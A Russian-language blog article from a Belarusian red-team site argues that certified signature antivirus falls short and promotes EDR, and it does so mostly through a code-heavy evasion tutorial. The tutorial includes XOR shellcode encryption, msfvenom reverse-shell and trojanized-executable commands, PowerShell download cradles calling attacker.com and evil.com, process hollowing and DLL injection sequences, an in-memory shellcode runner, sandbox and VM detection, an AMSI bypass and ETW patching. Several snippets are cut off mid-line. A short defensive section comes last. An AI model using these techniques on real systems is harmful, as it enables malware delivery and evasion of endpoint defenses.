

Обход антивирусов, сертифицированных ОАЦ: почему EDR — это новая реальность киберзащиты

 redsec.by/article/obhod-antivirusov-sertificirovannyh-oac-pochemu-edr-eto-novaya-realnost-kiberzashity

Red Teams | 27 октября 2025



В сфере информационной безопасности Беларуси, где технический регламент ТР 2013/027/БҮ диктует использование сертифицированных средств защиты, многие организации полагаются на традиционные антивирусные решения, такие как Dr.Web Enterprise Security Suite или PRO32 Endpoint Security. Эти продукты, прошедшие сертификацию Оперативно-аналитического центра (ОАЦ), составляют основу корпоративной защиты и эффективно справляются со своей основной задачей — обнаружением *известных* вредоносных программ на основе сигнатурного анализа.

Они работают как охранник со стопкой фотографий преступников: если файл соответствует фото из базы данных, он блокируется.

Однако ландшафт угроз эволюционировал. Современные атакующие давно научились не просто создавать новые вирусы, но и мастерски маскировать свои действия, делая их невидимыми для традиционных сканеров. Статистика это подтверждает: **86% киберпреступников активно используют техники обхода для преодоления классических антивирусов, а 62% успешных атак в 2021 году были бесфайловыми**, то есть не оставляли на диске привычных вредоносных файлов, которые можно было бы проверить по базе сигнатур.

Именно здесь на сцену выходят системы класса **Endpoint Detection and Response (EDR)**. EDR — это не просто "улучшенный антивирус", а качественно иной подход к защите конечных точек. Вместо того чтобы искать знакомые "лица" угроз, EDR-системы ведут себя как опытный детектив, который наблюдает за *поведением*. Они непрерывно отслеживают все процессы в системе, анализируют последовательности действий, выявляют аномалии с помощью машинного обучения и сопоставляют их с тактиками и техниками злоумышленников (TTPs). EDR видит не просто файл, а всю цепочку атаки: от запуска PowerShell-скрипта до попытки внедрения кода в системный процесс.

Эта статья — глубокое погружение в арсенал современных атакующих. Мы разберем на практических примерах, как именно обходятся сигнатурные антивирусы, и почему поведенческий анализ EDR становится не просто преимуществом, а острой необходимостью для построения реальной, а не формальной кибербезопасности.

Фундаментальные техники обхода AV: практический арсенал атакующего

1. Шифрование полезной нагрузки

Это первая и самая очевидная линия обороны для вредоносного ПО. Шифрование превращает узнаваемую сигнатуру вредоносного кода в бессмысленный набор байтов, который статический сканер не может сопоставить ни с одной известной угрозой.

XOR-шифрование: Несмотря на свою криптографическую простоту, XOR остается удивительно эффективным для обфускации. Простое применение XOR-операции с одним ключом к шеллкоду полностью меняет его сигнатуру.

```
// Простое шифрование/дешифрование шеллкода с помощью однобайтового XOR-ключа
void xor_encrypt(unsigned char* data, size_t data_len, unsigned char key) {
    for (size_t i = 0; i < data_len; i++) {
        data[i] ^= key;
    }
}
```

```

}

// Более устойчивый вариант с многобайтовым ключом
void xor_multibyte(unsigned char* data, size_t data_len, unsigned char* key, size_t
    for (size_t i = 0; i < data_len; i++) {
        data[i] ^= key[i % key_len];
    }
}

```

Более стойкие алгоритмы (AES, RC4): Для усложнения анализа атакующие используют криптографически стойкие алгоритмы, такие как AES. Популярный фреймворк Metasploit позволяет легко интегрировать шифрование при создании полезной нагрузки.

```

# Генерация Meterpreter-шеллкода с использованием шифрования AES-256
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 \
    --encrypt aes256 --encrypt-key mysecretkey123 -f c

```

Ограничение: Шифрование эффективно только против статического анализа (сканирования)

2. Полиморфные и метаморфные техники

Это эволюция шифрования. Идея в том, чтобы каждый новый экземпляр вредоносной програ

Полиморфное ПО использует специальный "движок мутаций", который меняет код, сохраняя
Метаморфное ПО идет еще дальше: оно полностью переписывает свой код при каждой репли

3. Упаковщики (Packers)

Упаковщики сжимают и/или шифруют исполняемый файл, добавляя к нему небольшой код-заг

```

# Пример использования упаковщика Hyperion для шифрования полезной нагрузки
# 1. Компиляция упаковщика
i686-w64-mingw32-c++ Hyperion-1.2/Src/Crypter/*.cpp -o hyperion.exe

```

```

# 2. Шифрование нашего вредоносного файла
wine hyperion.exe payload.exe encrypted_payload.exe

```

Бесфайловые атаки: жизнь за счет «подручных средств» (Living off the Land)

Это одна из самых опасных и эффективных стратегий. Вместо того чтобы приносить в систему свои вредоносные инструменты (файлы), атакующие используют легитимные, предустановленные системные утилиты для достижения своих целей.

PowerShell и WMI

PowerShell — это мечта атакующего. Он интегрирован во все современные версии Windows и позволяет выполнять мощные команды, взаимодействовать с .NET Framework и загружать код напрямую в память.

```
# Базовая загрузка и выполнение скрипта в памяти без сохранения на диск
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
Для обхода сканеров используются фреймворки, такие как **Invoke-Obfuscation**, котор
```

```
# Оригинальная команда
```

```
Invoke-Expression (New-Object Net.WebClient).DownloadString('http://evil.com/payload
```

```
# Та же команда после Invoke-Obfuscation
```

```
&("{1}{0}"-f 'EX','I') (("2}{0}{1}"-f'Obj','ect','New-') Net.WebClient).("{1}{0}{2}
```

Reflective DLL Injection

Эта техника позволяет загрузить вредоносную DLL-библиотеку напрямую из памяти в адресное пространство другого процесса, опять же, не записывая ее на диск.

Продвинутые техники работы в памяти: инъекции и выполнение кода

Техники инъекции процессов

Цель инъекции — запустить вредоносный код под видом легитимного процесса, чтобы обойти файрволы, поведенческие анализаторы и скрыть свою активность.

Process Hollowing: Классическая техника, используемая во многих известных вредоносах (TrickBot, Ursnif). Создается легитимный процесс (например, svchost.exe) в приостановленном состоянии, его память очищается и заменяется вредоносным кодом, после чего процесс возобновляется.

```
// Упрощенная последовательность вызовов для Process Hollowing
CreateProcess("C:\\Windows\\System32\\svchost.exe", ..., CREATE_SUSPENDED, ...);
NtUnmapViewOfSection(pi.hProcess, baseAddress);
VirtualAllocEx(pi.hProcess, ...);
WriteProcessMemory(pi.hProcess, ...);
SetThreadContext(pi.hThread, ...);
ResumeThread(pi.hThread);
```

Classic DLL Injection через CreateRemoteThread: Этот метод заставляет целевой процесс загрузить вредоносную DLL путем создания в нем удаленного потока, который вызывает функцию LoadLibraryA.

```
// Ключевые вызовы для классической DLL-инъекции
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
LPVOID allocMem = VirtualAllocEx(hProcess, ...);
WriteProcessMemory(hProcess, allocMem, dllPath, ...);
LPVOID loadLibAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA")
HANDLE hThread = CreateRemoteThread(hProcess, ..., (LPTHREAD_START_ROUTINE)loadLibAc
```

Обфускация и выполнение шеллкода в памяти

Прямое выполнение шеллкода в памяти — еще один способ избежать обнаружения на диске.

```
// Пример кода для выполнения шеллкода в памяти
unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0..."; // Ваш шеллкод

// 1. Выделение памяти с правами на чтение, запись и выполнение (RWX)
LPVOID exec = VirtualAlloc(NULL, sizeof(shellcode),
                           MEM_COMMIT | MEM_RESERVE,
                           PAGE_EXECUTE_READWRITE);

// 2. Копирование шеллкода в выделенную память
RtlMoveMemory(exec, shellcode, sizeof(shellcode));

// 3. Создание нового потока для выполнения
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
```

Обход аналитических сред: песочницы и виртуализация

Перед тем как выполнить основную полезную нагрузку на машине жертвы, продвинутое вредоносное ПО часто проводит "разведку на местности". Его цель — определить, не запущено ли оно внутри изолированной среды, такой как песочница (sandbox) или виртуальная машина (VM), которые используются аналитиками для изучения угроз. Если такая среда обнаружена, вредонос либо прекращает свою работу, либо имитирует безобидное поведение, чтобы не выдать себя.

Обнаружение виртуализации

Вредоносное ПО ищет специфические артефакты, указывающие на работу в виртуальной среде.

```
// Проверка на VMware через специфический результат инструкции CPUID
bool IsVMware() {
    unsigned int cpuid_result = 0;
    __asm {
        mov eax, 1
        cpuid
        mov cpuid_result, ecx
    }
    return (cpuid_result & 0x80000000) != 0;
}

// Проверка количества процессорных ядер. Песочницы часто эмулируют только одно ядро
SYSTEM_INFO si;
GetSystemInfo(&si);
if (si.dwNumberOfProcessors < 2) {
    ExitProcess(0); // Вероятно, это песочница, завершаем работу
}
```

Задержки выполнения (Sleep Evasion)

Автоматизированные песочницы анализируют файл в течение ограниченного времени (несколько минут). Атакующие используют это, вставляя в код длительные задержки. Если песочница пытается "перемотать" время, чтобы ускорить анализ, это можно обнаружить.

```
// Простая задержка на 60 секунд. Песочница может не дожждаться.
Sleep(60000);

// Более умный метод: проверка, не был ли вызов Sleep пропущен
DWORD start = GetTickCount();
Sleep(10000);
DWORD elapsed = GetTickCount() - start;
if (elapsed < 9000) {
    // Время прошло слишком быстро, значит Sleep "перемотали". Это песочница.
    ExitProcess(0);
}

// Продвинутый метод: использование нескольких таймеров для усложнения анализа
HANDLE hTimer = CreateWaitableTimer(NULL, TRUE, NULL);
LARGE_INTEGER li;
li.QuadPart = -1000000000LL; // 10-секундная задержка
SetWaitableTimer(hTimer, &li, 0, NULL, NULL, FALSE);

DWORD startTick = GetTickCount64();
while (WaitForSingleObject(hTimer, 0) == WAIT_TIMEOUT) {
    Sleep(100); // Короткие "проверки", чтобы не нагружать CPU
}
DWORD elapsed = GetTickCount64() - startTick;
```

Обход современных защитных механизмов: игра в кошки-мышки с EDR

Даже EDR-системы не являются панацеей. Атакующие постоянно разрабатывают методы обхода их механизмов мониторинга.

AMSI Bypass

Antimalware Scan Interface (AMSI) — это "внутренний агент" Windows Defender, который позволяет сканировать содержимое скриптов (PowerShell, JScript) прямо перед их выполнением. Обход AMSI является критически важным шагом для успешной бесфайловой атаки.

```
# Один из известных, но уже обнаруживаемых методов "ослепления" AMSI
# путем установки флага amsiInitFailed в true
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b = $a.GetField('amsiInitFailed', 'NonPublic,Static')
$b.SetValue($null, $true)
```

ETW Patching

Event Tracing for Windows (ETW) — это мощная система трассировки, которая предоставляет EDR-системам детальную телеметрию о происходящем в ОС. Атакующие могут "ослепить" EDR, пропатчив в памяти ключевые функции ETW.

```
// Патч для EtwEventWrite (x64), который заменяет функцию на "xor rax,rax; ret"
unsigned char patch[] = { 0x48, 0x33, 0xC0, 0xC3 };
DWORD oldProtect;
VirtualProtect(EtwEventWrite, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(EtwEventWrite, patch, sizeof(patch));
VirtualProtect(EtwEventWrite, sizeof(patch), oldProtect, &oldProtect);
```

Обход API Hooking

EDR-системы часто используют "перехват" (hooking) вызовов API. Атакующие обходят это, используя:

- **Прямые системные вызовы (Direct Syscalls):** Прямое обращение к ядру ОС с помощью инструкции syscall, минуя перехваченные функции.
- **Unhooking:** Восстановление оригинального кода перехваченных функций из "чистой" копии ntdll.dll с диска.

Практические фреймворки обхода

Metasploit и Msfvenom

Metasploit Framework остается одним из самых популярных инструментов для пентестеров и атакующих.

```
# Базовая генерация с использованием кодировщика для изменения сигнатуры
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 \
-e x86/shikata_ga_nai -i 5 -f exe -o payload.exe
```

```
# Генерация с шифрованием
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 \
--encrypt aes256 --encrypt-key secretkey -f c
```

```
# Встраивание полезной нагрузки в легитимный исполняемый файл (троянизация)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 \
-x calc.exe -k -f exe -o trojan_calc.exe
```

Veil Framework

Veil-Evasion — это фреймворк, специально созданный для генерации полезных нагрузок, которые обходят антивирусные решения.

```
# Пример рабочего процесса в Veil
./Veil.py -t Evasion
```

```
# Внутри интерактивной консоли Veil
use c/meterpreter/rev_tcp
set LHOST 10.0.0.5
set LPORT 443
generate
```

Donut Shellcode Generator

Donut — мощный инструмент, который конвертирует различные типы файлов (.NET EXE, DLL, VBScript) в позиционно-независимый шеллкод для выполнения в памяти.

```
# Конвертация .NET Assembly в шеллкод
donut -f payload.exe -a 2 -o loader.bin
```

```
# Конвертация DLL с указанием класса, метода и параметров
donut -f malware.dll -c TestClass -m RunProcess -p "notepad.exe" -o output.bin
```

```
# Создание "staged" полезной нагрузки, которая будет подгружать модули с удаленного
donut -f payload.dll -u http://attacker.com/modules/ -o loader.bin
```

Cobalt Strike и BOF

Beacon Object Files (BOF) — это технология Cobalt Strike, позволяющая выполнять небольшие фрагменты кода внутри процесса основного агента (Beacon) без создания новых процессов (fork&run), что обеспечивает максимальную скрытность.

```
// Пример простого BOF, который выводит сообщение в консоль Beacon
#include "beacon.h"
```

```
void go(char* args, int len) {
    BeaconPrintf(CALLBACK_OUTPUT, "Executing BOF...");
    // Ваш вредоносный код размещается здесь
}
```

Рекомендации для защитников: переход от реакции к проактивной обороне

Полагаться исключительно на сертифицированные ОАЦ антивирусы — значит вести войну вчерашнего дня. Необходим комплексный, многоуровневый подход (Defense-in-Depth).

- **Внедрение EDR-систем:** Это краеугольный камень современной защиты. Поведенческий анализ, предоставляемый EDR, — единственный надежный способ обнаружить бесфайловые атаки и сложные техники инъекций.
- **Усиление контроля PowerShell:** Включите детальное логирование для PowerShell (ScriptBlock Logging, Module Logging).
- **Использование Application Whitelisting:** Разрешите запуск только доверенных приложений.

- **Активный мониторинг и Threat Hunting:** Проактивно ищите индикаторы компрометации.
- **Обучение персонала и Red Team активности:** Регулярно проводите учения, имитирующие реальные атаки, чтобы проверить эффективность ваших защитных мер.

Традиционные антивирусные решения, включая сертифицированные ОАЦ продукты, остаются важным базовым уровнем гигиены безопасности. Однако они слепы к современным, целенаправленным атакам, которые активно используют шифрование, бесфайловые техники, работу в памяти и обход аналитических сред.

Endpoint Detection and Response (EDR) — это не просто следующий шаг, а новая реальность защиты. Системы EDR, благодаря своему поведенческому анализу, глубокой видимости в процессы ОС и возможностям машинного обучения, способны обнаруживать то, что принципиально невидимо для сигнатурных сканеров.

Для организаций в Беларуси, особенно тех, чьи системы подлежат аттестации ОАЦ, критически важно осознавать эти ограничения. Наличие сертификата на антивирус подтверждает соответствие формальным требованиям, но не гарантирует защиту от современного, квалифицированного злоумышленника. Построение эшелонированной обороны, ядром которой является EDR, в сочетании с активным мониторингом и регулярным тестированием — это единственно верный путь к обеспечению реальной киберустойчивости в сегодняшнем ландшафте угроз.